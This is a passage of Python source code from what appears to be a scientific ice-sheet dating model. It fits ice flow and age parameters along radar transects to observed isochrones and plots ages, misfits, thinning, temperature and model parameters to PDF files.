self.age150m = np.empty_like(self.distance)\n self.age200m = np.empty_like(self.distance)\n self.age250m = np.empty_like(self.distance)\n self.height0dot6Myr = np.nan*np.ones_like(self.distance)\n self.height0dot8Myr = np.nan*np.ones_like(self.distance)\n self.height1Myr = np.nan*np.ones_like(self.distance)\n self.height1dot2Myr = np.nan*np.ones_like(self.distance)\n self.height1dot5Myr = np.nan*np.ones_like(self.distance)\n self.twtt0dot6Myr = np.nan*np.ones_like(self.distance)\n self.twtt0dot8Myr = np.nan*np.ones_like(self.distance)\n self.twtt1Myr = np.nan*np.ones_like(self.distance)\n self.twtt1dot2Myr = np.nan*np.ones_like(self.distance)\n self.twtt1dot5Myr = np.nan*np.ones_like(self.distance)\n self.sigmabotage = np.empty_like(self.distance)\n self.age_density1Myr = np.nan*np.ones_like(self.distance)\n self.age_density1dot2Myr = np.nan*np.ones_like(self.distance)\n self.age_density1dot5Myr = np.nan*np.ones_like(self.distance)\n self.twttBed = np.nan*np.ones_like(self.distance)\n self.agebotmin = np.empty_like(self.distance)\n self.agebotmax = np.empty_like(self.distance)\n self.amin = np.empty_like(self.distance)\n self.amax = np.empty_like(self.distance)\n self.G0min = np.empty_like(self.distance)\n self.G0max = np.empty_like(self.distance)\n self.mmin = np.empty_like(self.distance)\n self.mmax = np.empty_like(self.distance)\n self.pmin = np.empty_like(self.distance)\n self.pmax = np.empty_like(self.distance)\n self.reso1dot5Myrmin = np.empty_like(self.distance)\n self.reso1dot5Myrmax = np.empty_like(self.distance)\n self.height1dot5Myrmin = np.empty_like(self.distance)\n self.height1dot5Myrmax = np.empty_like(self.distance)\n\n\n\n# Model function\n\n def model1D(self, j):\n\n #depth grids\n self.thkie[j] = np.interp(self.thk[j], np.concatenate((self.AICC2012_depth,\\\n np.array([self.AICC2012_depth[-1]+3000]))), np.concatenate((\\\n self.AICC2012_iedepth, np.array([self.AICC2012_iedepth[-1]+3000]))))\n self.depth[:, j] = self.thk[j]*(1-self.zeta[:, j])\n self.depthie[:, j] = np.interp(self.depth[:, j], np.concatenate((self.AICC2012_depth,\\\n np.array([self.AICC2012_depth[-1]+3000]))), np.concatenate((\\\n self.AICC2012_iedepth, np.array([self.AICC2012_iedepth[-1]+3000]))))\n self.zetaie[:, j] = (self.thkie[j]-self.depthie[:, j])/self.thkie[j]\n self.D[:, j] = (self.depthie[1:, j]-self.depthie[:-1, j])/(self.depth[1:, j]-\\\n self.depth[:-1, j])\n\n\n #Mechanical model\n self.m[j] = 0\n self.G0[j] = 0.05\n self.omega_D[:, j] = 1-(self.p[j]+2)/(self.p[j]+1)*(1-self.zetaie[:, j])+1/\\\n (self.p[j]+1)*(1-self.zetaie[:, j])**(2+self.p[j])\n #Parrenin et al. (CP, 2007a) 2.2 (2)\n self.omega[:, j] = self.s[j]*self.zetaie[:, j]+(1-self.s[j])*self.omega_D[:, j]\n self.tau[:, j] = self.omega[:, j]\n\n self.age_density[:, j] = np.where((self.tau[1:, j]+self.tau[:-1, j])/2 > 0,\\\n 1/self.a[j]/(self.tau[1:, j]+self.tau[:-1, j])*2, np.nan)\n self.agesteady[:, j] = np.cumsum(np.concatenate((np.array([self.age_surf]),\\\n (self.depthie[1:, j]-self.depthie[:-1, j])*\\\n self.age_density[:, j])), axis=0)\n\n\n self.age[:, j] = np.interp(self.agesteady[:, j], np.concatenate((np.array([-1000000000]),\\\n self.AICC2012_steadyage, np.array([1e9*self.AICC2012_steadyage[-1]]))),\\\n np.concatenate((np.array([self.AICC2012_age[0]]), self.AICC2012_age,\\\n np.array([1e9*self.AICC2012_age[-1]]))))\n\n self.iso_modage[:, j] = np.interp(self.iso[:, j], self.depth[:, j], self.age[:, j])\n\n\n\n return np.concatenate((np.array([self.a[j]]), np.array([self.m[j]]),\\\n np.array([self.p[j]]), self.age[:, j], np.log(self.age[1:, j]-\\\n self.age_surf), np.array([self.G0[j]])))\n\n def model1D_finish(self, j):\n \n f = interp1d(self.depth[:, j], self.age[:, j])\n self.agebot[j] = f(max(self.depth[:, j])-60)\n self.realagebot[j] = f(min(self.thk[j], self.thkreal[j]))\n self.age100m[j] = f(max(self.depth[:, j])-100)\n self.age150m[j] = f(max(self.depth[:, j])-150)\n self.age200m[j] = f(max(self.depth[:, j])-200)\n self.age250m[j] = f(max(self.depth[:, j])-250)\n self.hor_modage[:, j] = f(self.hor[:, j])\n\n self.agebot10kyrm[j] = np.interp(10000., self.age_density[:, j],\n (self.age[:-1, j]+self.age[1:,j])/2)\n self.agebot15kyrm[j] = np.interp(15000., self.age_density[:, j], \n (self.age[:-1, j]+self.age[1:,j])/2)\n if self.agebot10kyrm[j] > self.realagebot[j]:\n self.agebot10kyrm[j] = np.nan\n if self.agebot15kyrm[j] > self.realagebot[j]:\n self.agebot15kyrm[j] = np.nan\n\n\n h2 = interp1d(self.age[:, j], self.depth[:, j])\n if self.realagebot[j] >= 1000000.:\n self.age_density1Myr[j] = np.interp(1000000., (self.age[:-1,j]+self.age[1:,j])/2,\n self.age_density[:,j])\n else:\n self.age_density1Myr[j] = np.nan\n if self.realagebot[j] >= 1200000.:\n self.age_density1dot2Myr[j] = np.interp(1200000., (self.age[:-1,j]+self.age[1:,j])/2,\n self.age_density[:,j])\n else:\n self.age_density1dot2Myr[j] = np.nan\n if self.realagebot[j] >= 1500000.:\n self.age_density1dot5Myr[j] = np.interp(1500000., (self.age[:-1,j]+self.age[1:,j])/2,\n self.age_density[:,j])\n else:\n self.age_density1dot5Myr[j] = np.nan\n \n if max(self.age[:, j]) >= 600000:\n self.height0dot6Myr[j] = self.thk[j]-h2(600000)\n self.twtt0dot6Myr[j] = (h2(600000)-self.firn_correction)*100/84.248+250.\n else:\n self.height0dot6Myr[j] = np.nan\n self.twtt0dot6Myr[j] = -98765.0\n if max(self.age[:, j]) >= 800000:\n self.height0dot8Myr[j] = self.thk[j]-h2(800000)\n self.twtt0dot8Myr[j] = (h2(800000)-self.firn_correction)*100/84.248+250.\n else:\n self.height0dot8Myr[j] = np.nan\n self.twtt0dot8Myr[j] = -98765.0\n if max(self.age[:, j]) >= 1000000:\n self.height1Myr[j] = self.thk[j]-h2(1000000)\n self.twtt1Myr[j] = (h2(1000000)-self.firn_correction)*100/84.248+250.\n else:\n self.height1Myr[j] = np.nan\n self.twtt1Myr[j] = -98765.0\n if max(self.age[:, j]) >= 1200000:\n self.height1dot2Myr[j] = self.thk[j]-h2(1200000)\n self.twtt1dot2Myr[j] = (h2(1200000)-self.firn_correction)*100/84.248+250.\n else:\n self.height1dot2Myr[j] = np.nan\n self.twtt1dot2Myr[j] = -98765.0\n if max(self.age[:, j]) >= 1500000:\n self.height1dot5Myr[j] = self.thk[j]-h2(1500000)\n self.twtt1dot5Myr[j] = (h2(1500000)-self.firn_correction)*100/84.248+250.\n else:\n self.height1dot5Myr[j] = np.nan\n self.twtt1dot5Myr[j] = -98765.0\n #TODO: make a function to convert to twtt, and make an array for the different isochrones.\n self.twttBed[j] = (self.thk[j]-self.firn_correction)*100/84.248+250.\n\n\n def model(self): #TODO: kill this or make a call to model(j)\n for j in range(np.size(self.distance)):\n self.model1D(j)\n\n return np.concatenate((self.a, self.m, self.p, self.age.flatten(), self.G0))\n\n#Residuals function\n\n def residuals1D(self, variables1D, j):\n var = variables1D+0\n self.a[j] = var[0]\n var = np.delete(var, [0])\n# self.m = variables[np.size(self.distance):2*np.size(self.distance)]\n self.p[j] = var[0]\n if self.p[j] < -0.9:\n self.p[j] = -0.9\n var = np.delete(var, [0])\n if self.invert_thk:\n self.thk[j] = var[0]\n if self.thk[j] < self.iso[-1,j]:\n self.thk[j] = self.iso[-1,j]\n var = np.delete(var, [0])\n if self.invert_s:\n self.s[j] = var[0]\n var = np.delete(var, [0])\n\n self.model1D(j)\n resi = (self.iso_age.flatten()-self.iso_modage[:, j])/self.iso_sigma.flatten()\n resi = resi[np.where(~np.isnan(resi))]\n resi = np.concatenate((resi, np.array([(self.p[j]-self.p_prior)/\\\n self.p_sigma])))\n return resi\n\n def cost_fct(self, variables1D, j):\n\n res = self.residuals1D(variables1D, j)\n# cost = 1.-m.exp( -np.sum(res**2)/2. )\n cost = np.sum(res**2)/2.\n return cost\n\n\n\n def jacobian1D(self, j):\n epsilon = np.sqrt(np.diag(self.hess1D))/10000000000.\n model0 = self.model1D(j)\n jacob = np.empty((np.size(self.variables1D), np.size(model0)))\n for i in np.arange(np.size(self.variables1D)):\n self.variables1D[i] = self.variables1D[i]+epsilon[i]\n self.residuals1D(self.variables1D, j)\n model1 = self.model1D(j)\n self.variables1D[i] = self.variables1D[i]-epsilon[i]\n self.residuals1D(self.variables1D, j)\n model2 = self.model1D(j)\n jacob[i] = (model1-model2)/2./epsilon[i]\n self.variables1D[i] = self.variables1D[i]+epsilon[i]\n self.residuals1D(self.variables1D, j)\n\n return jacob\n\n\n\n def accu_layers(self):\n self.accusteady_layer = np.zeros((self.nbiso, np.size(self.distance)))\n self.accu_layer = np.zeros((self.nbiso, np.size(self.distance)))\n for j in range(np.size(self.distance)):\n f = interp1d(self.depth[:, j], self.age[:, j])\n self.iso_modage[:, j] = f(self.iso[:, j])\n self.accusteady_layer[0, j] = self.a[j]*(self.iso_modage[0, j]-self.age_surf)/\\\n (self.iso_age[0]-self.age_surf)\n self.accusteady_layer[1:, j] = self.a[j]*(self.iso_modage[1:, j]-\\\n self.iso_modage[:-1, j])/(self.iso_age[1:]-\\\n self.iso_age[:-1]).flatten()\n self.accu_layer[0, ] = self.accusteady_layer[0, :]*(self.iso_steadyage[0]-\\\n self.age_surf)/(self.iso_age[0]-self.age_surf)\n self.accu_layer[1:, ] = self.accusteady_layer[1:, ]*(self.iso_steadyage[1:]-\\\n self.iso_steadyage[:-1])/(self.iso_age[1:]-self.iso_age[:-1])\n\n return\n\n def sigma1D(self, j):\n jacob = self.jacobian1D(j)\n\n\n index = 0\n c_model = np.dot(np.transpose(jacob[:, index:index+1]),\n np.dot(self.hess1D, jacob[:, index:index+1]))\n self.sigma_a[j] = np.sqrt(np.diag(c_model))[0]\n index = index+1\n c_model = np.dot(np.transpose(jacob[:, index:index+1]),\n np.dot(self.hess1D, jacob[:, index:index+1]))\n self.sigma_m[j] = np.sqrt(np.diag(c_model))[0]\n index = index+1\n c_model = np.dot(np.transpose(jacob[:, index:index+1]),\n np.dot(self.hess1D, jacob[:, index:index+1]))\n self.sigma_p[j] = np.sqrt(np.diag(c_model))[0]\n index = index+1\n c_model = np.dot(np.transpose(jacob[:, index:index+np.size(self.age[:, j])]),\n np.dot(self.hess1D, jacob[:, index:index+np.size(self.age[:, j])]))\n self.sigma_age[:, j] = np.sqrt(np.diag(c_model))\n index = index+np.size(self.age[:, j])\n c_model = np.dot(np.transpose(jacob[:, index:index+np.size(self.age[1:, j])]),\n np.dot(self.hess1D, jacob[:, index:index+np.size(self.age[1:, j])]))\n self.sigma_logage[1:, j] = np.sqrt(np.diag(c_model))\n self.sigma_logage[0, j] = np.nan\n index = index+np.size(self.age[1:, j])\n c_model = np.dot(np.transpose(jacob[:, index:index+1]),\n np.dot(self.hess1D, jacob[:, index:index+1]))\n self.sigma_G0[j] = np.sqrt(np.diag(c_model))[0]\n\n f = interp1d(self.depth[:, j], self.sigma_age[:, j])\n self.sigmabotage[j] = f(self.thk[j]-60.)\n self.iso_modage_sigma[:, j] = f(self.iso[:, j])\n\n return\n\n#Plotting the raw and interpolated radar datasets\n def data_display(self):\n fig = plt.figure('Data')\n plt.plot(self.distance_raw, self.thk_raw, label='raw bedrock', color='0.5', linewidth=2)\n plt.plot(self.distance, self.thk, label='interpolated bedrock', color='k', linewidth=2)\n for i in range(self.nbiso):\n if i == 0:\n plt.plot(self.distance_raw, self.iso_raw[i, :], color='c', label='raw isochrones')\n plt.plot(self.distance, self.iso[i, :], color='b', label='interpolated isochrones')\n else:\n plt.plot(self.distance_raw, self.iso_raw[i, :], color='c')\n plt.plot(self.distance, self.iso[i, :], color='b')\n for i in range(self.nbhor):\n if i == 0:\n plt.plot(self.distance_raw, self.hor_raw[i, :], color='y', label='raw horizons')\n plt.plot(self.distance, self.hor[i, :], color='g', label='interpolated horizons')\n elif i > 0 and i < self.nbhor-self.nbdsz:\n plt.plot(self.distance_raw, self.hor_raw[i, :], color='y')\n plt.plot(self.distance, self.hor[i, :], color='g')\n elif i == self.nbhor-self.nbdsz:\n plt.plot(self.distance_raw, self.hor_raw[i, :], color='orange', label='raw DSZ')\n plt.plot(self.distance, self.hor[i, :], color='r', label='interpolated DSZ')\n else:\n plt.plot(self.distance_raw, self.hor_raw[i, :], color='orange')\n plt.plot(self.distance, self.hor[i, :], color='r')\n if self.is_EDC:\n EDC_x = np.array([self.distance_EDC, self.distance_EDC])\n EDC_y = np.array([0., 3200.])\n if self.EDC_line_dashed == True:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2, linestyle='--')\n else:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2)\n if self.is_NESW:\n plt.xlabel('')\n else:\n plt.xlabel('distance (km)')\n plt.ylabel('depth (m)')\n# plt.legend(loc=1)\n x1, x2, y1, y2 = plt.axis()\n plt.axis((x1, x2, y2, 0))\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n pp = PdfPages(self.label+'Data.pdf')\n pp.savefig(plt.figure('Data'))\n pp.close()\n plt.close(fig)\n\n#Plot of the model results\n\n def model_display(self):\n\n# fig = plt.figure('Model steady')\n fig, plotmodel = plt.subplots()\n plotmodel.set_aspect(self.aspect)\n plt.plot(self.distance, self.thkreal, label='obs. bedrock', color='k', linewidth=2)\n for i in range(self.nbiso):\n if i == 0:\n plt.plot(self.distance, self.iso[i, :], color='w', linewidth=1,\n label='obs. isochrones')\n else:\n plt.plot(self.distance, self.iso[i, :], color='w', linewidth=1)\n for i in range(self.nbhor):\n if i == 0:\n plt.plot(self.distance, self.hor[i, :], color='0.5', linewidth=1,\n label='obs. horizons')\n elif i > 0 and i < self.nbhor-self.nbdsz:\n plt.plot(self.distance, self.hor[i, :], color='0.5', linewidth=1)\n elif i == self.nbhor-self.nbdsz:\n plt.plot(self.distance, self.hor[i, :], color='r', linewidth=1,\n label='obs. DSZ')\n else:\n plt.plot(self.distance, self.hor[i, :], color='r', linewidth=1)\n levels = np.arange(0, 1600, 100)\n levels_color = np.arange(0, 1500, 10)\n plt.contourf(self.dist, self.depth, self.agesteady/1000., levels_color, cmap='jet')\n plt.fill_between(self.distance, self.thkreal, self.thk, color='0.5', label='stagnant ice')\n if self.is_EDC:\n EDC_x = np.array([self.distance_EDC, self.distance_EDC])\n EDC_y = np.array([0., 3200.])\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2)\n if self.is_NESW:\n plt.xlabel('')\n else:\n plt.xlabel('distance (km)')\n plt.ylabel('depth (m)')\n# plt.legend(loc=2)\n cb = plt.colorbar()\n cb.set_ticks(levels)\n cb.set_ticklabels(levels)\n cb.set_label('Modeled steady age (kyr)')\n x1, x2, y1, y2 = plt.axis()\n if self.max_depth == 'auto':\n self.max_depth = y2\n plt.axis((min(self.distance), max(self.distance), self.max_depth, 0))\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n pp = PdfPages(self.label+'Model-steady.pdf')\n pp.savefig(fig)\n pp.close()\n plt.close(fig)\n\n\n fig, plotmodel = plt.subplots()\n plotmodel.set_aspect(self.aspect)\n plt.plot(self.distance, self.thkreal, color='k', linewidth=2, label='bed')\n# plt.legend(loc=1)\n for i in range(self.nbiso):\n if i == 0:\n plt.plot(self.distance, self.iso[i, :], color='w', linewidth=1,\n label='obs. isochrones')\n else:\n plt.plot(self.distance, self.iso[i, :], color='w', linewidth=1)\n for i in range(self.nbhor):\n if i == 0:\n plt.plot(self.distance, self.hor[i, :], color='0.5', linewidth=1,\n label='obs. horizons')\n elif i > 0 and i < self.nbhor-self.nbdsz:\n plt.plot(self.distance, self.hor[i, :], color='0.5', linewidth=1)\n elif i == self.nbhor-self.nbdsz:\n plt.plot(self.distance, self.hor[i, :], color='r', linewidth=1,\n label='obs. DSZ')\n else:\n plt.plot(self.distance, self.hor[i, :], color='r', linewidth=1)\n levels = np.arange(0, 1600, 100)\n levels_color = np.arange(0, 1500, 10)\n plt.contourf(self.dist, self.depth, self.age/1000., levels_color, cmap='jet')\n plt.fill_between(self.distance, self.thkreal, self.thk, color='0.5', label='stagnant ice')\n if self.is_EDC:\n EDC_x = np.array([self.distance_EDC, self.distance_EDC])\n EDC_y = np.array([0., 3200.])\n if self.EDC_line_dashed == True:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2, linestyle='--')\n else:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2)\n if self.is_NESW:\n plt.xlabel('')\n else:\n plt.xlabel('distance (km)')\n plt.ylabel('depth (m)')\n if self.is_legend:\n leg = plt.legend(loc=1)\n frame = leg.get_frame()\n frame.set_facecolor('0.75')\n cb = plt.colorbar()\n cb.set_ticks(levels)\n cb.set_ticklabels(levels)\n cb.set_label('Modeled age (kyr)')\n x1, x2, y1, y2 = plt.axis()\n plt.axis((min(self.distance), max(self.distance), self.max_depth, 0))\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n if self.settick == 'manual':\n plotmodel.set_xticks(np.arange(self.min_tick, self.max_tick+1., self.delta_tick))\n pp = PdfPages(self.label+'Model.pdf')\n pp.savefig(fig)\n pp.close()\n plt.close(fig)\n\n\n fig, plotmodel = plt.subplots()\n plotmodel.set_aspect(self.aspect)\n plt.plot(self.distance, self.thkreal, color='k', linewidth=2)\n plt.fill_between(self.distance, self.thkreal, self.thk, color='0.5', label='stagnant ice')\n norm = Normalize(vmin=-5000, vmax=5000)\n for i in range(self.nbiso):\n colorscatter = self.iso_modage[i, :]-self.iso_age[i]\n if i == 0:\n sc = plt.scatter(self.distance, self.iso[i, :], c=colorscatter,\n label='obs. isochrones', s=7, edgecolor=None, norm=norm)\n else:\n plt.scatter(self.distance, self.iso[i, :], c=colorscatter, s=7, edgecolor=None,\n norm=norm)\n# levels = np.arange(0, 1600000, 100000)\n# levels_color = np.arange(0, 1500000, 10000)\n# plt.contourf(self.dist, self.depth, self.age, levels_color)\n if self.is_EDC:\n EDC_x = np.array([self.distance_EDC, self.distance_EDC])\n EDC_y = np.array([0., 3200.])\n if self.EDC_line_dashed == True:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2,\n linestyle='--')\n else:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2)\n if self.is_NESW:\n plt.xlabel('')\n else:\n plt.xlabel('distance (km)')\n plt.ylabel('depth (m)')\n if self.is_legend:\n print('test')\n leg = plt.legend(loc=1)\n frame = leg.get_frame()\n frame.set_facecolor('0.75')\n cb = plt.colorbar(sc)\n# cb.set_ticks(levels)\n# cb.set_ticklabels(levels)\n cb.set_label('Age misfit (yr)')\n x1, x2, y1, y2 = plt.axis()\n plt.axis((min(self.distance), max(self.distance), self.max_depth, 0))\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n if self.settick == 'manual':\n plotmodel.set_xticks(np.arange(self.min_tick, self.max_tick+1., self.delta_tick))\n pp = PdfPages(self.label+'AgeMisfit.pdf')\n pp.savefig(fig)\n pp.close()\n plt.close(fig)\n\n\n fig, plotmodelci = plt.subplots()\n plotmodelci.set_aspect(self.aspect)\n plt.plot(self.distance, self.thkreal, color='k', linewidth=2)\n plt.fill_between(self.distance, self.thkreal, self.thk, color='0.5', label='stagnant ice')\n for i in range(self.nbiso):\n if i == 0:\n plt.plot(self.distance, self.iso[i, :], color='w', label='obs. isochrones')\n else:\n plt.plot(self.distance, self.iso[i, :], color='w')\n for i in range(self.nbhor):\n if i == 0:\n plt.plot(self.distance, self.hor[i, :], color='0.5', label='obs. horizons')\n elif i > 0 and i < self.nbhor-self.nbdsz:\n plt.plot(self.distance, self.hor[i, :], color='0.5')\n elif i == self.nbhor-self.nbdsz:\n plt.plot(self.distance, self.hor[i, :], color='r', label='obs. DSZ')\n else:\n plt.plot(self.distance, self.hor[i, :], color='r')\n levels_log = np.arange(2, 6, 0.1)\n levels = np.power(10, levels_log)\n plt.contourf(self.dist[1:,:], self.depth[1:,:], self.sigma_age[1:,:], levels, norm=LogNorm())\n cb = plt.colorbar()\n cb.set_label('Modeled age confidence interval (yr)')\n levels_labels = np.array([])\n for i in np.arange(2, 6, 1):\n levels_labels = np.concatenate((levels_labels,\n np.array([10**i, '', '', '', '', '', '', '', ''])))\n cb.set_ticklabels(levels_labels)\n levels_ticks = np.concatenate((np.arange(100, 1000, 100),\n np.arange(1000, 10000, 1000),\n np.arange(10000, 100000, 10000),\n np.arange(100000, 600000, 100000)))\n cb.set_ticks(levels_ticks)\n if self.is_EDC:\n EDC_x = np.array([self.distance_EDC, self.distance_EDC])\n EDC_y = np.array([0., 3200.])\n if self.EDC_line_dashed == True:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2, linestyle='--')\n else:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2)\n if self.is_NESW:\n plt.xlabel('')\n else:\n plt.xlabel('distance (km)')\n plt.ylabel('depth (m)')\n if self.is_legend:\n leg = plt.legend(loc=1)\n frame = leg.get_frame()\n frame.set_facecolor('0.75')\n x1, x2, y1, y2 = plt.axis()\n plt.axis((min(self.distance), max(self.distance), self.max_depth, 0))\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n if self.settick == 'manual':\n plotmodelci.set_xticks(np.arange(self.min_tick, self.max_tick+1., self.delta_tick))\n pp = PdfPages(self.label+'Model-confidence-interval.pdf')\n pp.savefig(fig)\n pp.close()\n plt.close(fig)\n\n\n plt.figure('Thinning')\n plt.plot(self.distance, self.thkreal, label='obs. bedrock', color='k', linewidth=2)\n plt.fill_between(self.distance, self.thkreal, self.thk, color='0.5', label='stagnant ice')\n for i in range(self.nbiso):\n if i == 0:\n plt.plot(self.distance, self.iso[i, :], color='k', label='obs. isochrones')\n else:\n plt.plot(self.distance, self.iso[i, :], color='k')\n for i in range(self.nbhor):\n if i == 0:\n plt.plot(self.distance, self.hor[i, :], color='0.5', label='obs. horizons')\n elif i > 0 and i < self.nbhor-self.nbdsz:\n plt.plot(self.distance, self.hor[i, :], color='0.5')\n elif i == self.nbhor-self.nbdsz:\n plt.plot(self.distance, self.hor[i, :], color='r', label='obs. DSZ')\n else:\n plt.plot(self.distance, self.hor[i, :], color='r')\n plt.contourf(self.dist, self.depth, self.tau)\n if self.is_EDC:\n EDC_x = np.array([self.distance_EDC, self.distance_EDC])\n EDC_y = np.array([0., 3200.])\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2)\n if self.is_NESW:\n plt.xlabel('')\n else:\n plt.xlabel('distance (km)')\n plt.ylabel('depth (m)')\n plt.legend(loc=2)\n cb = plt.colorbar()\n cb.set_label('Modeled thinning')\n x1, x2, y1, y2 = plt.axis()\n plt.axis((min(self.distance), max(self.distance), self.max_depth, 0))\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n pp = PdfPages(self.label+'Thinning.pdf')\n pp.savefig(plt.figure('Thinning'))\n pp.close()\n plt.close(fig)\n\n fig = plt.figure('Temperature')\n plt.plot(self.distance, self.thkreal, label='obs. bedrock', color='k', linewidth=2)\n plt.fill_between(self.distance, self.thkreal, self.thk, color='0.5', label='stagnant ice')\n plt.plot(self.distance, np.where(self.is_fusion, np.nan, self.thk), color='b', linewidth=4)\n plt.contourf(self.dist, self.depth, self.T)\n if self.is_EDC:\n EDC_x = np.array([self.distance_EDC, self.distance_EDC])\n EDC_y = np.array([0., 3200.])\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2)\n if self.is_NESW:\n plt.xlabel('')\n else:\n plt.xlabel('distance (km)')\n plt.ylabel('depth (m)')\n plt.legend(loc=2)\n cb = plt.colorbar()\n cb.set_label('Modeled temperature (K)')\n x1, x2, y1, y2 = plt.axis()\n plt.axis((min(self.distance), max(self.distance), self.max_depth, 0))\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n pp = PdfPages(self.label+'Temperature.pdf')\n pp.savefig(plt.figure('Temperature'))\n pp.close()\n plt.close(fig)\n\n\n\n# fig = plt.figure('Accumulation history')\n lines = [list(zip(self.distance, 917*self.accu_layer[i, :])) for i in range(self.nbiso)]\n z = (self.iso_age.flatten()[1:]+self.iso_age.flatten()[:-1])/2\n z = np.concatenate((np.array([(self.age_surf+self.iso_age.flatten()[0])/2]), z))\n fig, ax = plt.subplots()\n lines = LineCollection(lines, array=z, cmap=plt.cm.rainbow, linewidths=2)\n ax.add_collection(lines)\n ax.autoscale()\n cb = fig.colorbar(lines)\n cb.set_label('Average layer age (yr)')\n if self.is_NESW:\n plt.xlabel('')\n else:\n plt.xlabel('distance (km)')\n plt.ylabel('steady accumulation (mm-we/yr)')\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n\n\n pp = PdfPages(self.label+'AccumulationHistory.pdf')\n pp.savefig(fig)\n pp.close()\n plt.close(fig)\n\n\n\n#Plot of the parameters\n\n def parameters_display(self):\n fig = plt.figure('Parameters')\n# f = plt.figure('Parameters', figsize=(4, 6))\n\n plotpara = plt.subplot(711,\n aspect=self.aspect/(self.accu_max-self.accu_min)*self.max_depth/7)\n plt.plot(self.distance, self.a*100, label='accumulation', color='k')\n plt.plot(self.distance, (self.amin)*100, color='k', linestyle='--')\n plt.plot(self.distance, (self.amax)*100, color='k', linestyle='--')\n plt.ylabel('accu. (cm/yr)', fontsize=10)\n plt.tick_params(axis='y', which='both', labelsize=8)\n x1, x2, y1, y2 = plt.axis()\n plt.axis((min(self.distance), max(self.distance), self.accu_min, self.accu_max))\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n if self.is_EDC:\n EDC_x = np.array([self.distance_EDC, self.distance_EDC])\n EDC_y = np.array([self.accu_min, self.accu_max])\n if self.EDC_line_dashed == True:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2, linestyle='--')\n else:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2)\n# plt.legend()\n\n if self.settick == 'manual':\n plotpara.set_xticks(np.arange(self.min_tick, self.max_tick+1., self.delta_tick))\n plotpara = plt.subplot(712, aspect=self.aspect/(self.G0_max-self.G0_min)*self.max_depth/7)\n plt.plot(self.distance, self.G0*1000, label='$G_0$', color='k')\n plt.plot(self.distance, (self.G0min)*1000, color='k', linestyle='--')\n plt.plot(self.distance, (self.G0max)*1000, color='k', linestyle='--')\n plt.ylabel('$G_0$ (mW/m$^2$)', fontsize=10)\n plt.tick_params(axis='y', which='both', labelsize=8)\n x1, x2, y1, y2 = plt.axis()\n plt.axis((min(self.distance), max(self.distance), self.G0_min, self.G0_max))\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n if self.is_EDC:\n EDC_x = np.array([self.distance_EDC, self.distance_EDC])\n EDC_y = np.array([self.G0_min, self.G0_max])\n if self.EDC_line_dashed == True:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2, linestyle='--')\n else:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2)\n plotpara.yaxis.tick_right()\n plotpara.yaxis.set_label_position('right')\n\n\n if self.settick == 'manual':\n plotpara.set_xticks(np.arange(self.min_tick, self.max_tick+1., self.delta_tick))\n plotpara = plt.subplot(713,\n aspect=self.aspect/(self.p_max-self.p_min)*self.max_depth/7)\n plt.plot(self.distance, self.p, label='p', color='k')\n plt.plot(self.distance, self.pmin, color='k', linestyle='--')\n plt.plot(self.distance, self.pmax, color='k', linestyle='--')\n plt.ylabel('p parameter', fontsize=10)\n plt.tick_params(axis='y', which='both', labelsize=8)\n if self.is_EDC:\n EDC_x = np.array([self.distance_EDC, self.distance_EDC])\n EDC_y = np.array([self.p_min, self.p_max])\n if self.EDC_line_dashed == True:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2, linestyle='--')\n else:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2)\n# plotpara.set_yticks(np.log(np.arange(1., 11.)))\n# plotpara.set_yticks(np.log(np.concatenate((np.arange(1., 10.), 10.*np.arange(1., 10.)))))\n# labels = [\"1\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"\", \"10\"]\n# plotpara.set_yticklabels(labels)\n if self.settick == 'manual':\n plotpara.set_xticks(np.arange(self.min_tick, self.max_tick+1., self.delta_tick))\n x1, x2, y1, y2 = plt.axis()\n plt.axis((min(self.distance), max(self.distance), self.p_min, self.p_max))\n\n if self.settick == 'manual':\n plotpara.set_xticks(np.arange(self.min_tick, self.max_tick+1., self.delta_tick))\n plotpara = plt.subplot(714,\n aspect=self.aspect/(self.melting_max-self.melting_min)*\\\n self.max_depth/7)\n plt.plot(self.distance, self.m*1000, label='melting', color='k')\n plt.plot(self.distance, (self.mmin)*1000, color='k', linestyle='--')\n plt.plot(self.distance, (self.mmax)*1000, color='k', linestyle='--')\n plt.ylabel('melting (mm/yr)', fontsize=10)\n plt.tick_params(axis='y', which='both', labelsize=8)\n x1, x2, y1, y2 = plt.axis()\n plt.axis((min(self.distance), max(self.distance), self.melting_min, self.melting_max))\n if self.reverse_distance:\n plt.gca().invert_xaxis()\n if self.is_EDC:\n EDC_x = np.array([self.distance_EDC, self.distance_EDC])\n EDC_y = np.array([self.melting_min, self.melting_max])\n if self.EDC_line_dashed == True:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2, linestyle='--')\n else:\n plt.plot(EDC_x, EDC_y, label='EDC ice core', color='r', linewidth=2)\n plotpara.yaxis.tick_right()\n plotpara.yaxis.set_label_position('right')\n\n 